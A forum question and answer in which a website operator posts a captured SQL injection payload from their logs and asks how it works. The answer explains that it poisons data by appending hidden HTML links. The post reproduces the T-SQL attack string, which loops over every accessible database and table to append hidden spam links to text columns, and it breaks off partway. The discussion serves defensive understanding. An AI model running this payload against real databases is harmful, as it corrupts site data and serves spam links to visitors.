We use stored procedures and so far we haven't detected any injections that have been successful, but we see attempts all of the time. I started logging some of the data hoping to gain insight on what people were attempting and possibly use it to block any future attempts by new methods. Here is the code of something someone tried to run on our site today, they tried it with syntax 8 different ways. I can understand some of it, but not all of it. So I was hoping someone else who knows more could tell me how exactly this works and what it was trying to do (I believe it was trying to insert links to a page using hidden divs in MAX columns in all of our databases).

declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''my wife cheated now what do i do ''+char(60)+''a href="http:''+char(47)+char(47)+''www.femchoice.org''+char(47)+''femchoice.org''+char(47)+''page''+char(47)+''wife-cheated-on-me-now-what.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''femchoice.org'''' when 1 then ''''femchoice.org'''' else ''''femchoice.org'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' what to do when your wife cheated on you''

That's exactly how it was injected. They declare some variables to move data around, then get the name of each of the non-system databases. From there I'm not sure what it's doing but I'm guessing it goes through all the tables looking for max columns and if it finds one, it finds some rows and writes links to them.


The classic SQL injection attack attempts to extract sensitive data through the user interface. This, however, seems to be poisioning your data by appending valid HTML to it. The attacker's assumption is that you trust data coming from the DB so are likely to embed it directly into your web app's output and thus display to your users links to their site.

| improve this answer | |

Not the answer you're looking for? Browse other questions tagged or ask your own question.